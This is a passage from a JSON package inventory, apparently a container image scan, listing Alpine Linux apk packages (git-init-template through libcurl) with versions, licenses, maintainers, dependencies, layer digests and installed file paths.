"usr/libexec/git-core/mergetools/xxdiff" ], "AnalyzedBy": "apk" }, { "ID": "git-init-template@2.54.0-r0", "Name": "git-init-template", "Identifier": { "PURL": "pkg:apk/alpine/git-init-template@2.54.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "2033c5575a2bcbe" }, "Version": "2.54.0-r0", "Arch": "x86_64", "SrcName": "git", "SrcVersion": "2.54.0-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:5abdcc5f5adbbe3d60cfcda1b740033014c723ab", "InstalledFiles": [ "usr/share/git-core/templates/description", "usr/share/git-core/templates/hooks/applypatch-msg.sample", "usr/share/git-core/templates/hooks/commit-msg.sample", "usr/share/git-core/templates/hooks/post-update.sample", "usr/share/git-core/templates/hooks/pre-applypatch.sample", "usr/share/git-core/templates/hooks/pre-commit.sample", "usr/share/git-core/templates/hooks/pre-merge-commit.sample", "usr/share/git-core/templates/hooks/pre-push.sample", "usr/share/git-core/templates/hooks/pre-rebase.sample", "usr/share/git-core/templates/hooks/pre-receive.sample", "usr/share/git-core/templates/hooks/prepare-commit-msg.sample", "usr/share/git-core/templates/hooks/push-to-checkout.sample", "usr/share/git-core/templates/hooks/sendemail-validate.sample", "usr/share/git-core/templates/hooks/update.sample", "usr/share/git-core/templates/info/exclude" ], "AnalyzedBy": "apk" }, { "ID": "glib@2.88.1-r1", "Name": "glib", "Identifier": { "PURL": "pkg:apk/alpine/glib@2.88.1-r1?arch=x86_64\u0026distro=3.24.1", "UID": "d9f89ce18227e60f" }, "Version": "2.88.1-r1", "Arch": "x86_64", "SrcName": "glib", "SrcVersion": "2.88.1-r1", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "team/gnome \u003cachill@achill.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r31", "libffi@3.5.2-r1", "libintl@1.0-r0", "libmount@2.42.1-r0", "musl@1.2.6-r2", "pcre2@10.47-r1", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:9f08110ee4f48bb4abf937ac0128381caf5219a6", "InstalledFiles": [ "usr/bin/gapplication", "usr/bin/gdbus", "usr/bin/gi-compile-repository", "usr/bin/gi-decompile-typelib", "usr/bin/gi-inspect-typelib", "usr/bin/gio", "usr/bin/gio-querymodules", "usr/bin/glib-compile-schemas", "usr/bin/gsettings", "usr/lib/libgio-2.0.so.0", "usr/lib/libgio-2.0.so.0.8800.1", "usr/lib/libgirepository-2.0.so.0", "usr/lib/libgirepository-2.0.so.0.8800.1", "usr/lib/libglib-2.0.so.0", "usr/lib/libglib-2.0.so.0.8800.1", "usr/lib/libgmodule-2.0.so.0", "usr/lib/libgmodule-2.0.so.0.8800.1", "usr/lib/libgobject-2.0.so.0", "usr/lib/libgobject-2.0.so.0.8800.1", "usr/lib/libgthread-2.0.so.0", "usr/lib/libgthread-2.0.so.0.8800.1", "usr/lib/girepository-1.0/GIRepository-3.0.typelib", "usr/lib/girepository-1.0/GLib-2.0.typelib", "usr/lib/girepository-1.0/GLibUnix-2.0.typelib", "usr/lib/girepository-1.0/GModule-2.0.typelib", "usr/lib/girepository-1.0/GObject-2.0.typelib", "usr/lib/girepository-1.0/Gio-2.0.typelib", "usr/lib/girepository-1.0/GioUnix-2.0.typelib", "usr/libexec/gio-launch-desktop" ], "AnalyzedBy": "apk" }, { "ID": "glslang-libs@1.4.341.0-r0", "Name": "glslang-libs", "Identifier": { "PURL": "pkg:apk/alpine/glslang-libs@1.4.341.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "7b9abb395e142f1d" }, "Version": "1.4.341.0-r0", "Arch": "x86_64", "SrcName": "glslang", "SrcVersion": "1.4.341.0-r0", "Licenses": [ "BSD-3-Clause", "BSD-2-Clause", "MIT", "Apache-2.0", "GPL-3.0-or-later" ], "Maintainer": "Simon Zeni \u003csimon@bl4ckb0ne.ca\u003e", "DependsOn": [ "libstdc++@15.2.0-r5", "musl@1.2.6-r2", "spirv-tools@1.4.341.0-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:56a8b6f8bcfd1e40389567eb6f2cc076db5cadc0", "InstalledFiles": [ "usr/lib/libSPIRV.so.16", "usr/lib/libSPIRV.so.16.2.0", "usr/lib/libglslang-default-resource-limits.so.16", "usr/lib/libglslang-default-resource-limits.so.16.2.0", "usr/lib/libglslang.so.16", "usr/lib/libglslang.so.16.2.0" ], "AnalyzedBy": "apk" }, { "ID": "graphite2@1.3.14-r6", "Name": "graphite2", "Identifier": { "PURL": "pkg:apk/alpine/graphite2@1.3.14-r6?arch=x86_64\u0026distro=3.24.1", "UID": "cf01bcedfb3a0dff" }, "Version": "1.3.14-r6", "Arch": "x86_64", "SrcName": "graphite2", "SrcVersion": "1.3.14-r6", "Licenses": [ "LGPL-2.1-or-later", "MPL-1.1" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:0140954b491440d3398d5a1f51b2a181b10fa378", "InstalledFiles": [ "usr/lib/libgraphite2.so.3", "usr/lib/libgraphite2.so.3.2.1" ], "AnalyzedBy": "apk" }, { "ID": "grep@3.12-r0", "Name": "grep", "Identifier": { "PURL": "pkg:apk/alpine/grep@3.12-r0?arch=x86_64\u0026distro=3.24.1", "UID": "65c3bd65b9dbda5d" }, "Version": "3.12-r0", "Arch": "x86_64", "SrcName": "grep", "SrcVersion": "3.12-r0", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2", "pcre2@10.47-r1" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:042837668ec6ed4268e34755a27b9b21d1ca7879", "InstalledFiles": [ "bin/egrep", "bin/fgrep", "bin/grep" ], "AnalyzedBy": "apk" }, { "ID": "harfbuzz@13.2.1-r0", "Name": "harfbuzz", "Identifier": { "PURL": "pkg:apk/alpine/harfbuzz@13.2.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a2ef9356eecfa2bc" }, "Version": "13.2.1-r0", "Arch": "x86_64", "SrcName": "harfbuzz", "SrcVersion": "13.2.1-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "freetype@2.14.3-r0", "glib@2.88.1-r1", "graphite2@1.3.14-r6", "libpng@1.6.58-r1", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:971d99c1f1dbabbc151519833d8508892cf32e19", "InstalledFiles": [ "usr/lib/libharfbuzz-raster.so.0", "usr/lib/libharfbuzz-raster.so.0.61321.0", "usr/lib/libharfbuzz-vector.so.0", "usr/lib/libharfbuzz-vector.so.0.61321.0", "usr/lib/libharfbuzz.so.0", "usr/lib/libharfbuzz.so.0.61321.0", "usr/lib/girepository-1.0/HarfBuzz-0.0.typelib" ], "AnalyzedBy": "apk" }, { "ID": "hwdata-pci@0.408-r0", "Name": "hwdata-pci", "Identifier": { "PURL": "pkg:apk/alpine/hwdata-pci@0.408-r0?arch=x86_64\u0026distro=3.24.1", "UID": "7f638b31b4b1d116" }, "Version": "0.408-r0", "Arch": "x86_64", "SrcName": "hwdata", "SrcVersion": "0.408-r0", "Licenses": [ "GPL-2.0-or-later", "XFree-86-1.1" ], "Maintainer": "Simon Zeni \u003csimon@bl4ckb0ne.ca\u003e", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:5a4265ab52ab371215df3582674b96867fc3cbd4", "InstalledFiles": [ "usr/share/hwdata/pci.ids" ], "AnalyzedBy": "apk" }, { "ID": "hwdata-usb@0.408-r0", "Name": "hwdata-usb", "Identifier": { "PURL": "pkg:apk/alpine/hwdata-usb@0.408-r0?arch=x86_64\u0026distro=3.24.1", "UID": "ad01a6b162785d73" }, "Version": "0.408-r0", "Arch": "x86_64", "SrcName": "hwdata", "SrcVersion": "0.408-r0", "Licenses": [ "GPL-2.0-or-later", "XFree-86-1.1" ], "Maintainer": "Simon Zeni \u003csimon@bl4ckb0ne.ca\u003e", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:199358cd9f9bec69c88b86675960e2f6fe411794", "InstalledFiles": [ "usr/share/hwdata/usb.ids" ], "AnalyzedBy": "apk" }, { "ID": "imlib2@1.12.6-r0", "Name": "imlib2", "Identifier": { "PURL": "pkg:apk/alpine/imlib2@1.12.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "2d5d729a2c5f8236" }, "Version": "1.12.6-r0", "Arch": "x86_64", "SrcName": "imlib2", "SrcVersion": "1.12.6-r0", "Licenses": [ "Imlib-2" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "freetype@2.14.3-r0", "giflib@5.2.2-r1", "libbz2@1.0.8-r6", "libheif@1.23.0-r0", "libid3tag@0.16.3-r0", "libjpeg-turbo@3.1.3-r0", "libpng@1.6.58-r1", "libwebpdemux@1.6.0-r0", "libx11@1.8.13-r0", "libxcb@1.17.0-r2", "libxext@1.3.7-r0", "musl@1.2.6-r2", "tiff@4.7.1-r0", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:bac1bcce14f9b87a32cdd17cc996a4bffca455fd", "InstalledFiles": [ "usr/bin/imlib2_bumpmap", "usr/bin/imlib2_colorspace", "usr/bin/imlib2_conv", "usr/bin/imlib2_grab", "usr/bin/imlib2_load", "usr/bin/imlib2_poly", "usr/bin/imlib2_show", "usr/bin/imlib2_test", "usr/bin/imlib2_view", "usr/lib/libImlib2.so.1", "usr/lib/libImlib2.so.1.12.6", "usr/lib/imlib2/filters/bumpmap.so", "usr/lib/imlib2/filters/colormod.so", "usr/lib/imlib2/filters/testfilter.so", "usr/lib/imlib2/loaders/ani.so", "usr/lib/imlib2/loaders/argb.so", "usr/lib/imlib2/loaders/bmp.so", "usr/lib/imlib2/loaders/bz2.so", "usr/lib/imlib2/loaders/ff.so", "usr/lib/imlib2/loaders/gif.so", "usr/lib/imlib2/loaders/heif.so", "usr/lib/imlib2/loaders/ico.so", "usr/lib/imlib2/loaders/id3.so", "usr/lib/imlib2/loaders/jpeg.so", "usr/lib/imlib2/loaders/lbm.so", "usr/lib/imlib2/loaders/png.so", "usr/lib/imlib2/loaders/pnm.so", "usr/lib/imlib2/loaders/qoi.so", "usr/lib/imlib2/loaders/tga.so", "usr/lib/imlib2/loaders/tiff.so", "usr/lib/imlib2/loaders/webp.so", "usr/lib/imlib2/loaders/xbm.so", "usr/lib/imlib2/loaders/xpm.so", "usr/lib/imlib2/loaders/zlib.so", "usr/share/imlib2/rgb.txt", "usr/share/imlib2/data/fonts/cinema.ttf", "usr/share/imlib2/data/fonts/grunge.ttf", "usr/share/imlib2/data/fonts/morpheus.ttf", "usr/share/imlib2/data/fonts/notepad.ttf", "usr/share/imlib2/data/images/audio.png", "usr/share/imlib2/data/images/bg.png", "usr/share/imlib2/data/images/bulb.png", "usr/share/imlib2/data/images/cal.png", "usr/share/imlib2/data/images/calc.png", "usr/share/imlib2/data/images/folder.png", "usr/share/imlib2/data/images/globe.png", "usr/share/imlib2/data/images/imlib2.png", "usr/share/imlib2/data/images/lock.png", "usr/share/imlib2/data/images/mail.png", "usr/share/imlib2/data/images/menu.png", "usr/share/imlib2/data/images/mush.png", "usr/share/imlib2/data/images/paper.png", "usr/share/imlib2/data/images/sh1.png", "usr/share/imlib2/data/images/sh2.png", "usr/share/imlib2/data/images/sh3.png", "usr/share/imlib2/data/images/stop.png", "usr/share/imlib2/data/images/tnt.png" ], "AnalyzedBy": "apk" }, { "ID": "iperf3@3.20-r0", "Name": "iperf3", "Identifier": { "PURL": "pkg:apk/alpine/iperf3@3.20-r0?arch=x86_64\u0026distro=3.24.1", "UID": "fb4560b09c57a6b9" }, "Version": "3.20-r0", "Arch": "x86_64", "SrcName": "iperf3", "SrcVersion": "3.20-r0", "Licenses": [ "BSD-3-Clause-LBNL" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:325a8864d1d03f6fd9fbf5d9fafd592187eb3ac3", "InstalledFiles": [ "usr/bin/iperf3", "usr/lib/libiperf.so.0", "usr/lib/libiperf.so.0.0.0" ], "AnalyzedBy": "apk" }, { "ID": "jq@1.8.1-r0", "Name": "jq", "Identifier": { "PURL": "pkg:apk/alpine/jq@1.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "2f4736a402d933da" }, "Version": "1.8.1-r0", "Arch": "x86_64", "SrcName": "jq", "SrcVersion": "1.8.1-r0", "Licenses": [ "MIT" ], "Maintainer": "Patrycja Rosa \u003calpine@ptrcnull.me\u003e", "DependsOn": [ "musl@1.2.6-r2", "oniguruma@6.9.10-r0" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:65ffaf8be6ed3b25846c4c84cd3573db9896d137", "InstalledFiles": [ "usr/bin/jq", "usr/lib/libjq.so.1", "usr/lib/libjq.so.1.0.4" ], "AnalyzedBy": "apk" }, { "ID": "json-c@0.18-r1", "Name": "json-c", "Identifier": { "PURL": "pkg:apk/alpine/json-c@0.18-r1?arch=x86_64\u0026distro=3.24.1", "UID": "c514b819a5d1f182" }, "Version": "0.18-r1", "Arch": "x86_64", "SrcName": "json-c", "SrcVersion": "0.18-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:db0d2649faf8a52414df8a9d6e4acdb60303b403", "InstalledFiles": [ "usr/lib/libjson-c.so.5", "usr/lib/libjson-c.so.5.4.0" ], "AnalyzedBy": "apk" }, { "ID": "keyutils-libs@1.6.3-r4", "Name": "keyutils-libs", "Identifier": { "PURL": "pkg:apk/alpine/keyutils-libs@1.6.3-r4?arch=x86_64\u0026distro=3.24.1", "UID": "a1a29120eb342032" }, "Version": "1.6.3-r4", "Arch": "x86_64", "SrcName": "keyutils", "SrcVersion": "1.6.3-r4", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:b7331c96f077fc3522ee4361a441d1097204cd90", "InstalledFiles": [ "usr/lib/libkeyutils.so.1", "usr/lib/libkeyutils.so.1.10" ], "AnalyzedBy": "apk" }, { "ID": "krb5-conf@1.0-r2", "Name": "krb5-conf", "Identifier": { "PURL": "pkg:apk/alpine/krb5-conf@1.0-r2?arch=x86_64\u0026distro=3.24.1", "UID": "e7cf94ba8b6dbc33" }, "Version": "1.0-r2", "Arch": "x86_64", "SrcName": "krb5-conf", "SrcVersion": "1.0-r2", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:40a11e0690a59e110367b62a80661024e9942a2d", "InstalledFiles": [ "etc/krb5.conf" ], "AnalyzedBy": "apk" }, { "ID": "krb5-libs@1.22.2-r1", "Name": "krb5-libs", "Identifier": { "PURL": "pkg:apk/alpine/krb5-libs@1.22.2-r1?arch=x86_64\u0026distro=3.24.1", "UID": "b2a26eefd488c92b" }, "Version": "1.22.2-r1", "Arch": "x86_64", "SrcName": "krb5", "SrcVersion": "1.22.2-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "keyutils-libs@1.6.3-r4", "krb5-conf@1.0-r2", "libcom_err@1.47.4-r0", "libcrypto3@3.5.7-r0", "libssl3@3.5.7-r0", "libverto@0.3.2-r2", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:ef02346e21b817ff379e4601e5b1fc9760e5e31a", "InstalledFiles": [ "usr/lib/libgssapi_krb5.so.2", "usr/lib/libgssapi_krb5.so.2.2", "usr/lib/libgssrpc.so.4", "usr/lib/libgssrpc.so.4.2", "usr/lib/libk5crypto.so.3", "usr/lib/libk5crypto.so.3.1", "usr/lib/libkadm5clnt_mit.so.12", "usr/lib/libkadm5clnt_mit.so.12.0", "usr/lib/libkadm5srv_mit.so.12", "usr/lib/libkadm5srv_mit.so.12.0", "usr/lib/libkdb5.so.10", "usr/lib/libkdb5.so.10.0", "usr/lib/libkrad.so.0", "usr/lib/libkrad.so.0.0", "usr/lib/libkrb5.so.3", "usr/lib/libkrb5.so.3.3", "usr/lib/libkrb5support.so.0", "usr/lib/libkrb5support.so.0.1", "usr/lib/krb5/plugins/kdb/db2.so", "usr/lib/krb5/plugins/preauth/otp.so", "usr/lib/krb5/plugins/preauth/spake.so", "usr/lib/krb5/plugins/preauth/test.so", "usr/lib/krb5/plugins/tls/k5tls.so" ], "AnalyzedBy": "apk" }, { "ID": "lame-libs@3.100-r5", "Name": "lame-libs", "Identifier": { "PURL": "pkg:apk/alpine/lame-libs@3.100-r5?arch=x86_64\u0026distro=3.24.1", "UID": "cb7eb2049a93a78f" }, "Version": "3.100-r5", "Arch": "x86_64", "SrcName": "lame", "SrcVersion": "3.100-r5", "Licenses": [ "LGPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:cc43e579770ef2181727283ca57fa7873c484131", "InstalledFiles": [ "usr/lib/libmp3lame.so.0", "usr/lib/libmp3lame.so.0.0.0" ], "AnalyzedBy": "apk" }, { "ID": "lcms2@2.19-r0", "Name": "lcms2", "Identifier": { "PURL": "pkg:apk/alpine/lcms2@2.19-r0?arch=x86_64\u0026distro=3.24.1", "UID": "265665cf4c5ccd1" }, "Version": "2.19-r0", "Arch": "x86_64", "SrcName": "lcms2", "SrcVersion": "2.19-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:5b94e9ef62a7735bf41ed45f89c83263d2dbd13a", "InstalledFiles": [ "usr/lib/liblcms2.so.2", "usr/lib/liblcms2.so.2.0.19" ], "AnalyzedBy": "apk" }, { "ID": "libSvtAv1Enc@4.1.0-r0", "Name": "libSvtAv1Enc", "Identifier": { "PURL": "pkg:apk/alpine/libsvtav1enc@4.1.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "45a7bfdde022a45b" }, "Version": "4.1.0-r0", "Arch": "x86_64", "SrcName": "svt-av1", "SrcVersion": "4.1.0-r0", "Licenses": [ "BSD-3-Clause-Clear" ], "Maintainer": "Oleg Titov \u003coleg.titov@gmail.com\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:c438c35acc91f065155085e67a519a6806417f87", "InstalledFiles": [ "usr/lib/libSvtAv1Enc.so.4", "usr/lib/libSvtAv1Enc.so.4.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libao@1.2.2-r3", "Name": "libao", "Identifier": { "PURL": "pkg:apk/alpine/libao@1.2.2-r3?arch=x86_64\u0026distro=3.24.1", "UID": "e21e0d8654194681" }, "Version": "1.2.2-r3", "Arch": "x86_64", "SrcName": "libao", "SrcVersion": "1.2.2-r3", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "alsa-lib@1.2.15.3-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:e6144a68537709e0a5582272f8a2ca528e1a3738", "InstalledFiles": [ "usr/lib/libao.so.4", "usr/lib/libao.so.4.1.1", "usr/lib/ao/plugins-4/libalsa.so", "usr/lib/ckport/db/libao.ckport" ], "AnalyzedBy": "apk" }, { "ID": "libapk@3.0.6-r0", "Name": "libapk", "Identifier": { "PURL": "pkg:apk/alpine/libapk@3.0.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "99b3039c6c4890c4" }, "Version": "3.0.6-r0", "Arch": "x86_64", "SrcName": "apk-tools", "SrcVersion": "3.0.6-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "libssl3@3.5.7-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:523a8f58104589f74f743d501c81bf6517155378", "InstalledFiles": [ "usr/lib/libapk.so.3.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libass@0.17.4-r1", "Name": "libass", "Identifier": { "PURL": "pkg:apk/alpine/libass@0.17.4-r1?arch=x86_64\u0026distro=3.24.1", "UID": "99107fc6c569020d" }, "Version": "0.17.4-r1", "Arch": "x86_64", "SrcName": "libass", "SrcVersion": "0.17.4-r1", "Licenses": [ "ISC" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "fontconfig@2.17.1-r1", "freetype@2.14.3-r0", "fribidi@1.0.16-r3", "harfbuzz@13.2.1-r0", "libunibreak@6.1-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:9e9e8f56eda7814b6e234b5019bd131757704034", "InstalledFiles": [ "usr/lib/libass.so.9", "usr/lib/libass.so.9.4.1" ], "AnalyzedBy": "apk" }, { "ID": "libasyncns@0.8-r5", "Name": "libasyncns", "Identifier": { "PURL": "pkg:apk/alpine/libasyncns@0.8-r5?arch=x86_64\u0026distro=3.24.1", "UID": "5c405a90e49ec0fb" }, "Version": "0.8-r5", "Arch": "x86_64", "SrcName": "libasyncns", "SrcVersion": "0.8-r5", "Licenses": [ "LGPL-2.0-or-later" ], "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:5abd9a9936fab100e16c4fde4649472c2fed0b72", "InstalledFiles": [ "usr/lib/libasyncns.so.0", "usr/lib/libasyncns.so.0.3.1" ], "AnalyzedBy": "apk" }, { "ID": "libblkid@2.42.1-r0", "Name": "libblkid", "Identifier": { "PURL": "pkg:apk/alpine/libblkid@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6043f81dec59c867" }, "Version": "2.42.1-r0", "Arch": "x86_64", "SrcName": "util-linux", "SrcVersion": "2.42.1-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libeconf@0.8.3-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:c920d236c49619d817fcd7d1c295a94514871cf4", "InstalledFiles": [ "usr/lib/libblkid.so.1", "usr/lib/libblkid.so.1.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libbluray@1.4.0-r0", "Name": "libbluray", "Identifier": { "PURL": "pkg:apk/alpine/libbluray@1.4.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "d01126698b2bd36b" }, "Version": "1.4.0-r0", "Arch": "x86_64", "SrcName": "libbluray", "SrcVersion": "1.4.0-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Timo Teräs \u003ctimo.teras@iki.fi\u003e", "DependsOn": [ "libudfread@1.2.0-r1", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:1dae67649182feb783ecd9af91cbc24e6c79a583", "InstalledFiles": [ "usr/bin/bd_info", "usr/bin/bd_list_titles", "usr/bin/bd_splice", "usr/lib/libbluray.so.3", "usr/lib/libbluray.so.3.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libbsd@0.12.2-r0", "Name": "libbsd", "Identifier": { "PURL": "pkg:apk/alpine/libbsd@0.12.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c640e7d37eb0b351" }, "Version": "0.12.2-r0", "Arch": "x86_64", "SrcName": "libbsd", "SrcVersion": "0.12.2-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libmd@1.2.0-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:8245ff7dfee600c9da67e3757a156bd852764251", "InstalledFiles": [ "usr/lib/libbsd.so.0", "usr/lib/libbsd.so.0.12.2" ], "AnalyzedBy": "apk" }, { "ID": "libbz2@1.0.8-r6", "Name": "libbz2", "Identifier": { "PURL": "pkg:apk/alpine/libbz2@1.0.8-r6?arch=x86_64\u0026distro=3.24.1", "UID": "48e17539404e2d56" }, "Version": "1.0.8-r6", "Arch": "x86_64", "SrcName": "bzip2", "SrcVersion": "1.0.8-r6", "Licenses": [ "bzip-2-1.0.6" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:08566ba5c7af97c25474be8b24e8b48f0116b67d", "InstalledFiles": [ "usr/lib/libbz2.so.1", "usr/lib/libbz2.so.1.0.8" ], "AnalyzedBy": "apk" }, { "ID": "libcom_err@1.47.4-r0", "Name": "libcom_err", "Identifier": { "PURL": "pkg:apk/alpine/libcom_err@1.47.4-r0?arch=x86_64\u0026distro=3.24.1", "UID": "3fc35a3f66d192af" }, "Version": "1.47.4-r0", "Arch": "x86_64", "SrcName": "e2fsprogs", "SrcVersion": "1.47.4-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "BSD-3-Clause", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:4b9fb5899ea0b1c0cfbb2a2c5952704437d4ecef", "InstalledFiles": [ "usr/lib/libcom_err.so.2", "usr/lib/libcom_err.so.2.1" ], "AnalyzedBy": "apk" }, { "ID": "libcrypto3@3.5.7-r0", "Name": "libcrypto3", "Identifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.5.7-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9ce2cdb3f0bf014b" }, "Version": "3.5.7-r0", "Arch": "x86_64", "SrcName": "openssl", "SrcVersion": "3.5.7-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:481afbc52bcf06f2316c93a0a81ce8f72bed503e", "InstalledFiles": [ "etc/ssl/ct_log_list.cnf", "etc/ssl/ct_log_list.cnf.dist", "etc/ssl/openssl.cnf", "etc/ssl/openssl.cnf.dist", "usr/lib/libcrypto.so.3", "usr/lib/engines-3/afalg.so", "usr/lib/engines-3/capi.so", "usr/lib/engines-3/loader_attic.so", "usr/lib/engines-3/padlock.so", "usr/lib/ossl-modules/legacy.so" ], "AnalyzedBy": "apk" }, { "ID": "libcurl@8.20.0-r1", "Name": "libcurl", "Identifier": { "PURL": "pkg:apk/alpine/libcurl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "59b9580380420dad" }, "Version": 